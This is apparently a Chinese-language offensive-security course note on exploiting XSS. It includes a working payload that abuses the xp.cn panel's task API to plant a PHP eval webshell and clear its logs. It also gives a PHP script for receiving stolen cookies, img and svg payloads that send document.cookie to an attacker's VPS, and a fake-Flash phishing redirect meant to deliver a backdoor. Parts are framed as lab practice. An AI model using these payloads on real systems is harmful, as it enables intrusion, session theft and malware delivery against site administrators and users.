第54天:XSS跨站&Cookie盗取&表单劫持&网络钓鱼&溯源分析&项目平台框架

XSS 跨站 - 攻击利用 - 数据提交

获取小皮面板 cookie 发现还是无法登录,因为还有其他防护,所以下面进行 xss 的高级用法。

条件:熟悉后台业务功能数据包,利用 JS 写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他

演示小皮面板

小皮面板安装包文末自取,这个是安装在 Windows 的,小迪演示的时候是阿里云开了台 Windows Server 的服务器,我是直接在 win10 上安装搭建的,记得把 Windows 的防火墙关了,不然 poc 创建不了那个 1.php,我就是没开,所以刚开始的时候一直没有成功,后来猜测是防火墙的原因,关了之后才可以。要是关了防火墙还不行,那就需要把那个病毒防护也关了。

原理

登录失败日志用户名处写入远程引用 js (也就是在自己的服务器上放好 poc.js, 并且可以访问到),当管理员查看操作日志时,触发 js 代码,在网站写入后门。如用户名为:admin<script src="www.xxx.xx/poc.js"></script>

poc.js 源代码

使用方式,修改写入路径 C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php,因为小皮面板默认安装路径在这里,所以下面代码中可以写入这里,但是需要根据小皮安装路径进行修改,因为没有创建目录的权限,所以需要指定存在的路径。

下面的 poc.js 是使用小皮面板内的接口创建了文件写入后门。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();

XSS 跨站 - 攻击利用 - 凭据盗取(远程加载php获取cookie)

条件:无防护 Cookie 凭据获取
利用:XSS 平台或手写接受代码

演示 dk-xss 靶场

环境:旧版 phpstudy+dx-xss 源码

环境在文末有下载链接,因为有版本差异,所以新版不行,就用旧版就 ok,旧版在文末的环境里面也有。
因为我的 win10 虚拟机安装上旧版 phpstudy 之后一直运行不起来,所以就没复现。
搭建靶场教程在压缩包里面有,安步骤来即可安装好。

安装好之后访问是一个手机页面显示,测试点在提现输入姓名 支付宝账号的地方。

利用方式

  1. 在自己的网站上写好接收 cookie 的脚本

    1
    2
    3
    4
    5
    6
    7
    <?php
    $url=$_GET['u'];
    $cookie=$_GET['c'];
    $fp = fopen('cookie.txt',"a");
    fwrite($fp,$url."|".$cookie."\n");
    fclose($fp);
    ?>
  2. 然后在写入网站管理员可能会查看的地方,使其触发该代码

    这里这个靶场的话就是在提现结算信息那里,这里可以自己输入姓名和支付宝账号,

    因为在网站后台有一个查看提现申请的地方会显示上面我们输入的信息,当管理员查看提现申请时就会触发我们的 js 代码

    1
    <script>var url='http://xxx.xxx.xxx.xxx/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>
  3. 在自己的服务器上查看 cookie,然后使用 cookie 可以直接登录到网站后台。

image-20250814222556868

image-20250814222608257

远程使用js的方式获取cookie

1
2
3
4
5
6
7
8
9
10
#在vps上创建一个1.js的文件,python开启http服务

1.js的内容为:
var img=document.createElement("img");
img.src='//vps_IP/?'+document.cookie; #(这里的ip填写自己的vps的ip)
document.body.appendChild(img);
img.removeAttribute('onerror');

#通过svg标签获取cookie
<svg/onload=s=createElement('script');body.appendChild(s);s.src='http://vps_'>

XSS 跨站 - 攻击利用 - 网络钓鱼

  1. 部署可访问的钓鱼页面并修改

  2. 植入 XSS 代码等待受害者触发

  3. 将后门及正常文件捆绑打包免杀 (参考 22 期 152 天和 154 天)

  4. www.flash.cn 的钓鱼页:https://github.com/r00tSe7en/Fake-flash.cn

  5. 如这里小迪演示的就是下面的 js,就是还是在上面的 dk-xss 靶场。

    1
    2
    3
    4
    5
    <script>
    alert("当前浏览器Flash版本过低,请下载升级");
    location.href="http://xxx.xxx.xxx.xxx/flash"
    <!-- 这里的>
    </script>
  6. 实现了弹窗并跳转我们的钓鱼页面。

钓鱼制作 exe 或者 zip 可以参考 22 期 152 和 154 天,这里只演示到了跳转页面,后面可以实现对方下载软件带我们的后门,安装好软件的同时后门上线。

➢XSS 跨站 - 攻击利用 - 溯源综合

  1. XSS 数据平台 - XSSReceiver
    简单配置即可使用,无需数据库,无需其他组件支持
    搭建:https://github.com/firesunCN/BlueLotus_XSSReceiver
    这个比较简便,功能较少,搭建过程可以看人家 GitHub 的教程。

  2. 浏览器控制框架 - beef-xss (这个有点牛)

    只需执行 JS 文件,即可实现对当前浏览器的控制,可配合各类手法利用。

    kali 的话有自带这个工具。要是不是 kali,可以使用下面命令搭建一个:

    1
    docker run --rm -p 3000:3000 janes/beef

    使用的话可以参考网上教程,有不少。

image-20250814223638628